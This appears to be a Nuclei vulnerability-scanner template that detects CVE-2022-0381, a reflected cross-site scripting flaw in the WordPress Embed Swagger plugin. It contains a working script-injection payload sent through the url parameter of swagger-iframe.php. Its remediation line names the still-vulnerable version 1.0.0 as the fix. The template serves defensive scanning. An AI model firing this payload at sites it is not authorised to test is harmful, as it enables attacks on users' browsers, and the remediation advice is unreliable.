id: CVE-2022-0381 info: name: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting author: edoardottt severity: medium description: | WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor. reference: - https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3 - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381 - https://nvd.nist.gov/vuln/detail/CVE-2022-0381 - https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0381 cwe-id: CWE-79 epss-score: 0.00218 epss-percentile: 0.59134 cpe: cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: embed_swagger_project product: embed_swagger framework: wordpress tags: cve,cve2022,swagger,xss,wordpress,embed_swagger_project flow: http(1) && http(2) http: - raw: - | GET /wp-content/plugins/embed-swagger/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: word internal: true words: - 'Embed Swagger' - 'Tags:' condition: and - method: GET path: - "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22" matchers-condition: and matchers: - type: word part: header words: - "text/html" - type: word part: body words: - "url: \"xss://\"-alert(document.domain)" - type: status status: - 200 # digest: 4a0a00473045022100909ee1b627b444bdc18d71639aa85fa4fdff674e941acf8c72f639e8e45755c40220535a70f0c8e6d7466ff71b65b837c7365003a67097937d72232fb3ce1bb07f1f:922c64590222798bb761d5b6d8e72950